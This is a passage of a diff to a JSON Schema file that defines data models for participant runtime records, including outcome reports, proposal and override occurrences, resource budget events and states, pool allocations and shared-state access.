"maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Participant Address", "type": "string" }, - "taxonomy_revision": { - "minLength": 1, - "title": "Taxonomy Revision", - "type": "string" - } - }, - "required": [ - "taxonomy_id", - "taxonomy_revision", - "relation_id", - "profile_id", - "profile_revision", - "profile_digest", - "predicate_ref", - "predicate_revision", - "carrier_ref", - "carrier_digest", - "materializer_ref", - "materializer_revision", - "materializer_digest", - "observation_inventory_ref", - "observation_inventory_revision", - "observation_inventory_digest", - "enforcement_rule_ref", - "enforcement_rule_revision", - "enforcement_rule_digest", - "state_cut_ref", - "state_cut_revision", - "memory_ref", - "memory_revision", - "release_ref", - "release_revision", - "assurance_axis", - "claim", - "evidence_refs", - "limitations", - "explicit_non_claims" - ], - "title": "ParticipantOpacityRuntimeEnforcementBindingModel", - "type": "object" - }, - "ParticipantOutcomeInterpretationRecordModel": { - "additionalProperties": false, - "properties": { - "diagnostics": { + "predecessor_event_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Predecessor Event Ref" + }, + "predecessor_event_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Diagnostics", + "title": "Predecessor Event Refs", "type": "array" }, - "episode_id": { + "producer_ref": { "minLength": 1, - "title": "Episode Id", + "title": "Producer Ref", "type": "string" }, - "evidence_refs": { + "provenance_refs": { "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Evidence Refs", + "title": "Provenance Refs", "type": "array" }, - "interpretation_id": { + "raw_data_integrity": { + "anyOf": [ + { + "$ref": "#/$defs/RawDataIntegrityModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "recorded_at": { + "format": "date-time", "minLength": 1, - "title": "Interpretation Id", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Recorded At", "type": "string" }, - "limitations": { - "items": { - "minLength": 1, - "type": "string" - }, - "minItems": 1, - "title": "Limitations", - "type": "array" + "redaction_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redaction Policy Ref" }, - "observation_point": { + "revision": { + "minimum": 1, + "title": "Revision", + "type": "integer" + }, + "rule_digest": { "minLength": 1, - "title": "Observation Point", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Rule Digest", "type": "string" }, - "participant_address": { - "minLength": 1, - "title": "Participant Address", + "rule_spec": { + "$ref": "#/$defs/OutcomeInterpretationRule" + }, + "schema_name": { + "const": "raes.participant_runtime.outcome_report", + "title": "Schema Name", "type": "string" }, - "rule_address": { - "minLength": 1, - "title": "Rule Address", + "schema_version": { + "const": "2.0.0", + "title": "Schema Version", "type": "string" }, - "source_bindings": { - "items": { - "$ref": "#/$defs/ParticipantOutcomeSourceRecordModel" - }, - "minItems": 1, - "title": "Source Bindings", - "type": "array" + "sequence_number": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sequence Number" + }, + "source_pipeline": { + "anyOf": [ + { + "$ref": "#/$defs/SourcePipelineModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_raw_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Raw Ref" + }, + "source_record_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Record Ref" + }, + "source_status": { + "anyOf": [ + { + "$ref": "#/$defs/SourceStatusModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_system_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source System Ref" }, - "target_bindings": { + "state_relationships": { "items": { - "$ref": "#/$defs/ParticipantOutcomeTargetRecordModel" + "$ref": "#/$defs/ParticipantOutcomeReportStateRelationshipModel" }, - "minItems": 1, - "title": "Target Bindings", + "title": "State Relationships", "type": "array" + }, + "temporal_context": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Temporal Context" } }, "required": [ - "interpretation_id", - "rule_address", + "event_id", + "schema_name", + "schema_version", + "event_type", + "extension_policy", "participant_address", "episode_id", - "observation_point", - "source_bindings", - "target_bindings", - "evidence_refs", - "limitations" + "occurred_at", + "recorded_at", + "ingested_at", + "clock_authority", + "ordering_basis", + "actor_ref", + "producer_ref", + "authorization_scope", + "outcome_id", + "interpretation_rule_ref", + "rule_digest", + "rule_spec", + "revision", + "predecessor_event_ref", + "behavior_history_length", + "behavior_history_digest", + "observation_refs", + "category", + "attainment", + "knowledge", + "freshness" ], - "title": "ParticipantOutcomeInterpretationRecordModel", + "title": "ParticipantOutcomeReportV2Model", "type": "object" }, "ParticipantOutcomeSourceRecordModel": { @@ -7827,7 +9372,228 @@ "type": "integer" }, "kind": { - "const": "override", + "const": "override", + "title": "Kind", + "type": "string" + }, + "limitation_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Limitation Refs", + "type": "array" + }, + "mixed_control_policy_ref": { + "minLength": 1, + "title": "Mixed Control Policy Ref", + "type": "string" + }, + "occurrence_revision": { + "minimum": 1, + "title": "Occurrence Revision", + "type": "integer" + }, + "policy_revision": { + "minLength": 1, + "title": "Policy Revision", + "type": "string" + }, + "reason_code": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Code" + }, + "reason_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Ref" + }, + "replacement_ref": { + "minLength": 1, + "title": "Replacement Ref", + "type": "string" + }, + "superseded_occurrence_ref": { + "minLength": 1, + "title": "Superseded Occurrence Ref", + "type": "string" + }, + "superseded_revision": { + "minimum": 1, + "title": "Superseded Revision", + "type": "integer" + }, + "superseded_target_kind": { + "enum": [ + "control", + "decision" + ], + "title": "Superseded Target Kind", + "type": "string" + }, + "valid_from_order": { + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "declaration_ref", + "controller_ref", + "controller_state_ref", + "authority_basis_refs", + "controlled_scope_refs", + "behavior_specification_ref", + "mixed_control_policy_ref", + "policy_revision", + "expected_state_revision", + "effective_order", + "valid_from_order", + "valid_until_order", + "occurrence_revision", + "disposition", + "limitation_refs", + "kind", + "superseded_target_kind", + "superseded_occurrence_ref", + "superseded_revision", + "replacement_ref" + ], + "title": "ParticipantOverrideOccurrenceModel", + "type": "object" + }, + "ParticipantPhaseRealization": { + "description": "RUN-306 realization modes for an observable lifecycle phase.", + "enum": [ + "observed", + "runtime_mediated", + "externally_supplied", + "opaque", + "unknown", + "not_applicable", + "unsupported" + ], + "title": "ParticipantPhaseRealization", + "type": "string" + }, + "ParticipantPreconditionClass": { + "description": "SEM-211 precondition classes for participant action applicability.", + "enum": [ + "authority", + "capability", + "target", + "knowledge", + "resource", + "temporal", + "interaction", + "realization" + ], + "title": "ParticipantPreconditionClass", + "type": "string" + }, + "ParticipantProposalOccurrenceModel": { + "additionalProperties": false, + "description": "A proposal fact that is neither a decision, admission, nor execution.", + "properties": { + "action_contract_ref": { + "minLength": 1, + "title": "Action Contract Ref", + "type": "string" + }, + "admission_status": { + "const": "not-admitted", + "title": "Admission Status", + "type": "string" + }, + "authority_basis_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Authority Basis Refs", + "type": "array" + }, + "behavior_specification_ref": { + "minLength": 1, + "title": "Behavior Specification Ref", + "type": "string" + }, + "controlled_scope_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Controlled Scope Refs", + "type": "array" + }, + "controller_ref": { + "minLength": 1, + "title": "Controller Ref", + "type": "string" + }, + "controller_state_ref": { + "minLength": 1, + "title": "Controller State Ref", + "type": "string" + }, + "decision_surface_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Decision Surface Ref" + }, + "declaration_ref": { + "minLength": 1, + "title": "Declaration Ref", + "type": "string" + }, + "disposition": { + "$ref": "#/$defs/ParticipantControlDisposition" + }, + "effective_order": { + "minimum": 0, + "title": "Effective Order", + "type": "integer" + }, + "expected_state_revision": { + "minimum": 0, + "title": "Expected State Revision", + "type": "integer" + }, + "kind": { + "const": "proposal", "title": "Kind", "type": "string" }, @@ -7850,11 +9616,61 @@ "title": "Occurrence Revision", "type": "integer" }, + "payload_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Payload Digest" + }, + "payload_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Payload Ref" + }, "policy_revision": { "minLength": 1, "title": "Policy Revision", "type": "string" }, + "proposal_binding_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Proposal Binding Ref" + }, + "proposal_id": { + "minLength": 1, + "title": "Proposal Id", + "type": "string" + }, + "proposal_revision": { + "minimum": 1, + "title": "Proposal Revision", + "type": "integer" + }, "reason_code": { "anyOf": [ { @@ -7881,28 +9697,44 @@ "default": null, "title": "Reason Ref" }, - "replacement_ref": { - "minLength": 1, - "title": "Replacement Ref", - "type": "string" - }, - "superseded_occurrence_ref": { - "minLength": 1, - "title": "Superseded Occurrence Ref", - "type": "string" + "source_proposal_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Proposal Ref" }, - "superseded_revision": { - "minimum": 1, - "title": "Superseded Revision", - "type": "integer" + "source_proposal_revision": { + "anyOf": [ + { + "minimum": 1, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Proposal Revision" }, - "superseded_target_kind": { - "enum": [ - "control", - "decision" + "transformation_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } ], - "title": "Superseded Target Kind", - "type": "string" + "default": null, + "title": "Transformation Ref" }, "valid_from_order": { "minimum": 0, @@ -7932,337 +9764,381 @@ "disposition", "limitation_refs", "kind", - "superseded_target_kind", - "superseded_occurrence_ref", - "superseded_revision", - "replacement_ref" + "proposal_id", + "proposal_revision", + "admission_status", + "action_contract_ref" ], - "title": "ParticipantOverrideOccurrenceModel", + "title": "ParticipantProposalOccurrenceModel", "type": "object" }, - "ParticipantPhaseRealization": { - "description": "RUN-306 realization modes for an observable lifecycle phase.", - "enum": [ - "observed", - "runtime_mediated", - "externally_supplied", - "opaque", - "unknown", - "not_applicable", - "unsupported" - ], - "title": "ParticipantPhaseRealization", - "type": "string" - }, - "ParticipantPreconditionClass": { - "description": "SEM-211 precondition classes for participant action applicability.", - "enum": [ - "authority", - "capability", - "target", - "knowledge", - "resource", - "temporal", - "interaction", - "realization" - ], - "title": "ParticipantPreconditionClass", - "type": "string" - }, - "ParticipantProposalOccurrenceModel": { + "ParticipantResourceBudgetEventModel": { "additionalProperties": false, - "description": "A proposal fact that is neither a decision, admission, nor execution.", "properties": { - "action_contract_ref": { + "budget_id": { "minLength": 1, - "title": "Action Contract Ref", + "title": "Budget Id", "type": "string" }, - "admission_status": { - "const": "not-admitted", - "title": "Admission Status", + "budget_state_ref": { + "minLength": 1, + "title": "Budget State Ref", "type": "string" }, - "authority_basis_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "minItems": 1, - "title": "Authority Basis Refs", - "type": "array" + "disposition": { + "enum": [ + "reserved", + "committed", + "released", + "throttled", + "rejected", + "reconciled" + ], + "title": "Disposition", + "type": "string" }, - "behavior_specification_ref": { + "event_id": { "minLength": 1, - "title": "Behavior Specification Ref", + "title": "Event Id", "type": "string" }, - "controlled_scope_refs": { + "evidence_refs": { + "default": [], "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Controlled Scope Refs", + "title": "Evidence Refs", "type": "array" }, - "controller_ref": { + "execution_generation": { + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "measured": { + "anyOf": [ + { + "maximum": 1000000000000000000, + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Measured" + }, + "meter_profile_ref": { "minLength": 1, - "title": "Controller Ref", + "title": "Meter Profile Ref", "type": "string" }, - "controller_state_ref": { + "operation_id": { "minLength": 1, - "title": "Controller State Ref", + "title": "Operation Id", "type": "string" }, - "decision_surface_ref": { + "owner_ref": { + "minLength": 1, + "title": "Owner Ref", + "type": "string" + }, + "policy_address": { + "minLength": 1, + "title": "Policy Address", + "type": "string" + }, + "pool_ref": { + "minLength": 1, + "title": "Pool Ref", + "type": "string" + }, + "predecessor_event_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Predecessor Event Ref" + }, + "requested": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Requested", + "type": "integer" + }, + "resource_kind": { "anyOf": [ { - "minLength": 1, + "enum": [ + "action_rate", + "concurrent_actions", + "storage_growth", + "inference_tokens", + "image_generations", + "accelerator" + ], "type": "string" }, { - "type": "null" + "$ref": "#/$defs/DomainProfileCoordinateModel" } ], - "default": null, - "title": "Decision Surface Ref" + "title": "Resource Kind" }, - "declaration_ref": { + "schema_version": { + "const": "participant-resource-budget-event/v1", + "default": "participant-resource-budget-event/v1", + "title": "Schema Version", + "type": "string" + }, + "transition": { + "enum": [ + "reserve", + "commit", + "release", + "throttle", + "reject", + "reconcile" + ], + "title": "Transition", + "type": "string" + }, + "unit": { "minLength": 1, - "title": "Declaration Ref", + "title": "Unit", + "type": "string" + } + }, + "required": [ + "event_id", + "operation_id", + "budget_state_ref", + "budget_id", + "policy_address", + "owner_ref", + "pool_ref", + "execution_generation", + "transition", + "disposition", + "requested", + "resource_kind", + "unit", + "meter_profile_ref" + ], + "title": "ParticipantResourceBudgetEventModel", + "type": "object" + }, + "ParticipantResourceBudgetStateModel": { + "additionalProperties": false, + "properties": { + "accounting_mode": { + "enum": [ + "windowed_counter", + "cumulative_counter", + "reservable_gauge", + "growth_counter", + "lease" + ], + "title": "Accounting Mode", "type": "string" }, - "disposition": { - "$ref": "#/$defs/ParticipantControlDisposition" + "budget_id": { + "minLength": 1, + "title": "Budget Id", + "type": "string" }, - "effective_order": { - "minimum": 0, - "title": "Effective Order", + "configured_capacity": { + "maximum": 1000000000000000000, + "minimum": 1, + "title": "Configured Capacity", "type": "integer" }, - "expected_state_revision": { + "cumulative_use": { + "maximum": 1000000000000000000, "minimum": 0, - "title": "Expected State Revision", + "title": "Cumulative Use", "type": "integer" }, - "kind": { - "const": "proposal", - "title": "Kind", - "type": "string" + "current_use": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Current Use", + "type": "integer" }, - "limitation_refs": { + "evidence_refs": { + "default": [], "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Limitation Refs", + "title": "Evidence Refs", "type": "array" }, - "mixed_control_policy_ref": { + "generation": { + "minimum": 0, + "title": "Generation", + "type": "integer" + }, + "last_event_ref": { "minLength": 1, - "title": "Mixed Control Policy Ref", + "title": "Last Event Ref", "type": "string" }, - "occurrence_revision": { + "limit": { + "maximum": 1000000000000000000, "minimum": 1, - "title": "Occurrence Revision", + "title": "Limit", "type": "integer" }, - "payload_digest": { - "anyOf": [ - { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Payload Digest" + "meter_profile_ref": { + "minLength": 1, + "title": "Meter Profile Ref", + "type": "string" }, - "payload_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "owner_kind": { + "enum": [ + "participant", + "deployment_tenant", + "shared_service", + "fleet" ], - "default": null, - "title": "Payload Ref" + "title": "Owner Kind", + "type": "string" }, - "policy_revision": { + "owner_ref": { "minLength": 1, - "title": "Policy Revision", + "title": "Owner Ref", "type": "string" }, - "proposal_binding_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Proposal Binding Ref" - }, - "proposal_id": { + "policy_address": { "minLength": 1, - "title": "Proposal Id", + "title": "Policy Address", "type": "string" }, - "proposal_revision": { - "minimum": 1, - "title": "Proposal Revision", - "type": "integer" + "pool_ref": { + "minLength": 1, + "title": "Pool Ref", + "type": "string" }, - "reason_code": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "reconciliation_status": { + "enum": [ + "reconciled", + "pending", + "unreconciled" ], - "default": null, - "title": "Reason Code" + "title": "Reconciliation Status", + "type": "string" }, - "reason_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Reason Ref" + "rejected": { + "minimum": 0, + "title": "Rejected", + "type": "integer" }, - "source_proposal_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Source Proposal Ref" + "reserved": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Reserved", + "type": "integer" }, - "source_proposal_revision": { - "anyOf": [ - { - "minimum": 1, - "type": "integer" - }, - { - "type": "null" - } + "reset": { + "enum": [ + "episode", + "time_segment", + "run", + "reconciled" ], - "default": null, - "title": "Source Proposal Revision" + "title": "Reset", + "type": "string" }, - "transformation_ref": { + "resource_kind": { "anyOf": [ { - "minLength": 1, + "enum": [ + "action_rate", + "concurrent_actions", + "storage_growth", + "inference_tokens", + "image_generations", + "accelerator" + ], "type": "string" }, { - "type": "null" + "$ref": "#/$defs/DomainProfileCoordinateModel" } ], - "default": null, - "title": "Transformation Ref" + "title": "Resource Kind" }, - "valid_from_order": { - "minimum": 0, - "title": "Valid From Order", - "type": "integer" + "schema_version": { + "const": "participant-resource-budget-state/v1", + "default": "participant-resource-budget-state/v1", + "title": "Schema Version", + "type": "string" }, - "valid_until_order": { + "state_ref": { + "minLength": 1, + "title": "State Ref", + "type": "string" + }, + "throttled": { "minimum": 0, - "title": "Valid Until Order", + "title": "Throttled", "type": "integer" + }, + "unit": { + "minLength": 1, + "title": "Unit", + "type": "string" } }, "required": [ - "declaration_ref", - "controller_ref", - "controller_state_ref", - "authority_basis_refs", - "controlled_scope_refs", - "behavior_specification_ref", - "mixed_control_policy_ref", - "policy_revision", - "expected_state_revision", - "effective_order", - "valid_from_order", - "valid_until_order", - "occurrence_revision", - "disposition", - "limitation_refs", - "kind", - "proposal_id", - "proposal_revision", - "admission_status", - "action_contract_ref" + "state_ref", + "budget_id", + "policy_address", + "owner_kind", + "owner_ref", + "pool_ref", + "resource_kind", + "unit", + "accounting_mode", + "meter_profile_ref", + "reset", + "generation", + "limit", + "configured_capacity", + "reserved", + "current_use", + "cumulative_use", + "throttled", + "rejected", + "reconciliation_status", + "last_event_ref" ], - "title": "ParticipantProposalOccurrenceModel", + "title": "ParticipantResourceBudgetStateModel", "type": "object" }, - "ParticipantResourceBudgetEventModel": { + "ParticipantResourceMeasurementModel": { "additionalProperties": false, "properties": { - "budget_id": { - "minLength": 1, - "title": "Budget Id", - "type": "string" - }, "budget_state_ref": { "minLength": 1, "title": "Budget State Ref", "type": "string" }, - "disposition": { - "enum": [ - "reserved", - "committed", - "released", - "throttled", - "rejected", - "reconciled" - ], - "title": "Disposition", - "type": "string" - }, - "event_id": { - "minLength": 1, - "title": "Event Id", - "type": "string" - }, "evidence_refs": { - "default": [], "items": { "minLength": 1, "type": "string" }, + "minItems": 1, "title": "Evidence Refs", "type": "array" }, @@ -8272,18 +10148,10 @@ "type": "integer" }, "measured": { - "anyOf": [ - { - "maximum": 1000000000000000000, - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Measured" + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Measured", + "type": "integer" }, "meter_profile_ref": { "minLength": 1, @@ -8295,40 +10163,6 @@ "title": "Operation Id", "type": "string" }, - "owner_ref": { - "minLength": 1, - "title": "Owner Ref", - "type": "string" - }, - "policy_address": { - "minLength": 1, - "title": "Policy Address", - "type": "string" - }, - "pool_ref": { - "minLength": 1, - "title": "Pool Ref", - "type": "string" - }, - "predecessor_event_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Predecessor Event Ref" - }, - "requested": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Requested", - "type": "integer" - }, "resource_kind": { "anyOf": [ { @@ -8348,51 +10182,126 @@ ], "title": "Resource Kind" }, - "schema_version": { - "const": "participant-resource-budget-event/v1", - "default": "participant-resource-budget-event/v1", - "title": "Schema Version", + "unit": { + "minLength": 1, + "title": "Unit", + "type": "string" + } + }, + "required": [ + "budget_state_ref", + "operation_id", + "execution_generation", + "resource_kind", + "unit", + "meter_profile_ref", + "measured", + "evidence_refs" + ], + "title": "ParticipantResourceMeasurementModel", + "type": "object" + }, + "ParticipantResourcePoolAllocationModel": { + "additionalProperties": false, + "properties": { + "borrowing": { + "minLength": 1, + "title": "Borrowing", "type": "string" }, - "transition": { - "enum": [ - "reserve", - "commit", - "release", - "throttle", - "reject", - "reconcile" - ], - "title": "Transition", + "budget_id": { + "minLength": 1, + "title": "Budget Id", "type": "string" }, - "unit": { + "budget_state_ref": { "minLength": 1, - "title": "Unit", + "title": "Budget State Ref", + "type": "string" + }, + "cumulative_use": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Cumulative Use", + "type": "integer" + }, + "current_use": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Current Use", + "type": "integer" + }, + "generation": { + "minimum": 0, + "title": "Generation", + "type": "integer" + }, + "max_queue_ticks": { + "maximum": 1000000000, + "minimum": 0, + "title": "Max Queue Ticks", + "type": "integer" + }, + "policy_address": { + "minLength": 1, + "title": "Policy Address", + "type": "string" + }, + "priority_class": { + "minLength": 1, + "title": "Priority Class", + "type": "string" + }, + "protected": { + "title": "Protected", + "type": "boolean" + }, + "reclaim": { + "minLength": 1, + "title": "Reclaim", "type": "string" + }, + "reserved": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Reserved", + "type": "integer" + }, + "starvation_bound_ticks": { + "maximum": 1000000000, + "minimum": 1, + "title": "Starvation Bound Ticks", + "type": "integer" + }, + "weight": { + "maximum": 1000000, + "minimum": 1, + "title": "Weight", + "type": "integer" } }, "required": [ - "event_id", - "operation_id", "budget_state_ref", - "budget_id", "policy_address", - "owner_ref", - "pool_ref", - "execution_generation", - "transition", - "disposition", - "requested", - "resource_kind", - "unit", - "meter_profile_ref" + "budget_id", + "generation", + "priority_class", + "weight", + "protected", + "borrowing", + "reclaim", + "max_queue_ticks", + "starvation_bound_ticks", + "reserved", + "current_use", + "cumulative_use" ], - "title": "ParticipantResourceBudgetEventModel", + "title": "ParticipantResourcePoolAllocationModel", "type": "object" }, - "ParticipantResourceBudgetStateModel": { + "ParticipantResourcePoolStateModel": { "additionalProperties": false, + "description": "Authoritative allocation ledger for one exact physical resource pool.", "properties": { "accounting_mode": { "enum": [ @@ -8405,52 +10314,36 @@ "title": "Accounting Mode", "type": "string" }, - "budget_id": { + "allocations": { + "additionalProperties": { + "$ref": "#/$defs/ParticipantResourcePoolAllocationModel" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Allocations", + "type": "object" + }, + "borrowing": { "minLength": 1, - "title": "Budget Id", + "title": "Borrowing", "type": "string" }, - "configured_capacity": { + "capacity": { "maximum": 1000000000000000000, "minimum": 1, - "title": "Configured Capacity", - "type": "integer" - }, - "cumulative_use": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Cumulative Use", - "type": "integer" - }, - "current_use": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Current Use", - "type": "integer" - }, - "evidence_refs": { - "default": [], - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Evidence Refs", - "type": "array" - }, - "generation": { - "minimum": 0, - "title": "Generation", + "title": "Capacity", "type": "integer" }, - "last_event_ref": { + "fairness_policy": { "minLength": 1, - "title": "Last Event Ref", + "title": "Fairness Policy", "type": "string" }, - "limit": { - "maximum": 1000000000000000000, - "minimum": 1, - "title": "Limit", + "max_queue_ticks": { + "maximum": 1000000000, + "minimum": 0, + "title": "Max Queue Ticks", "type": "integer" }, "meter_profile_ref": { @@ -8473,582 +10366,646 @@ "title": "Owner Ref", "type": "string" }, - "policy_address": { + "pool_ref": { "minLength": 1, - "title": "Policy Address", + "title": "Pool Ref", "type": "string" }, - "pool_ref": { + "pool_state_ref": { "minLength": 1, - "title": "Pool Ref", + "title": "Pool State Ref", "type": "string" }, - "reconciliation_status": { + "priority_classes": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Priority Classes", + "type": "array" + }, + "protected_capacity": { + "maximum": 1000000000000000000, + "minimum": 0, + "title": "Protected Capacity", + "type": "integer" + }, + "reclaim": { + "minLength": 1, + "title": "Reclaim", + "type": "string" + }, + "resource_kind": { + "anyOf": [ + { + "enum": [ + "action_rate", + "concurrent_actions", + "storage_growth", + "inference_tokens", + "image_generations", + "accelerator" + ], + "type": "string" + }, + { + "$ref": "#/$defs/DomainProfileCoordinateModel" + } + ], + "title": "Resource Kind" + }, + "starvation_bound_ticks": { + "maximum": 1000000000, + "minimum": 1, + "title": "Starvation Bound Ticks", + "type": "integer" + }, + "unit": { + "minLength": 1, + "title": "Unit", + "type": "string" + } + }, + "required": [ + "pool_state_ref", + "pool_ref", + "owner_kind", + "owner_ref", + "resource_kind", + "unit", + "accounting_mode", + "meter_profile_ref", + "capacity", + "protected_capacity", + "fairness_policy", + "priority_classes", + "borrowing", + "reclaim", + "max_queue_ticks", + "starvation_bound_ticks" + ], + "title": "ParticipantResourcePoolStateModel", + "type": "object" + }, + "ParticipantRuntimeLifecyclePhase": { + "description": "RUN-306 observable participant runtime lifecycle phases.", + "enum": [ + "intent_or_proposal", + "selection_or_admission", + "execution_attempt", + "observation_emission", + "state_update_commit" + ], + "title": "ParticipantRuntimeLifecyclePhase", + "type": "string" + }, + "ParticipantSharedStateAccessModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "access_kind": { + "enum": [ + "read", + "read_write" + ] + } + }, + "required": [ + "access_kind" + ] + }, + "then": { + "anyOf": [ + { + "properties": { + "read_revision": { + "type": "string" + } + }, + "required": [ + "read_revision" + ] + }, + { + "properties": { + "read_digest": { + "type": "string" + } + }, + "required": [ + "read_digest" + ] + } + ] + } + }, + { + "if": { + "properties": { + "access_kind": { + "enum": [ + "write", + "read_write" + ] + } + }, + "required": [ + "access_kind" + ] + }, + "then": { + "anyOf": [ + { + "properties": { + "write_revision": { + "type": "string" + } + }, + "required": [ + "write_revision" + ] + }, + { + "properties": { + "write_digest": { + "type": "string" + } + }, + "required": [ + "write_digest" + ] + } + ] + } + } + ], + "description": "RUN-307 read/write access record over one shared-state address.", + "properties": { + "access_kind": { "enum": [ - "reconciled", - "pending", - "unreconciled" + "read", + "write", + "read_write" ], - "title": "Reconciliation Status", + "title": "Access Kind", "type": "string" }, - "rejected": { - "minimum": 0, - "title": "Rejected", - "type": "integer" - }, - "reserved": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Reserved", - "type": "integer" - }, - "reset": { - "enum": [ - "episode", - "time_segment", - "run", - "reconciled" - ], - "title": "Reset", + "access_purpose": { + "minLength": 1, + "title": "Access Purpose", "type": "string" }, - "resource_kind": { + "atomic_group_ref": { "anyOf": [ { - "enum": [ - "action_rate", - "concurrent_actions", - "storage_growth", - "inference_tokens", - "image_generations", - "accelerator" - ], + "minLength": 1, "type": "string" }, { - "$ref": "#/$defs/DomainProfileCoordinateModel" + "type": "null" } ], - "title": "Resource Kind" - }, - "schema_version": { - "const": "participant-resource-budget-state/v1", - "default": "participant-resource-budget-state/v1", - "title": "Schema Version", - "type": "string" - }, - "state_ref": { - "minLength": 1, - "title": "State Ref", - "type": "string" - }, - "throttled": { - "minimum": 0, - "title": "Throttled", - "type": "integer" - }, - "unit": { - "minLength": 1, - "title": "Unit", - "type": "string" - } - }, - "required": [ - "state_ref", - "budget_id", - "policy_address", - "owner_kind", - "owner_ref", - "pool_ref", - "resource_kind", - "unit", - "accounting_mode", - "meter_profile_ref", - "reset", - "generation", - "limit", - "configured_capacity", - "reserved", - "current_use", - "cumulative_use", - "throttled", - "rejected", - "reconciliation_status", - "last_event_ref" - ], - "title": "ParticipantResourceBudgetStateModel", - "type": "object" - }, - "ParticipantResourceMeasurementModel": { - "additionalProperties": false, - "properties": { - "budget_state_ref": { - "minLength": 1, - "title": "Budget State Ref", - "type": "string" + "default": null, + "title": "Atomic Group Ref" }, 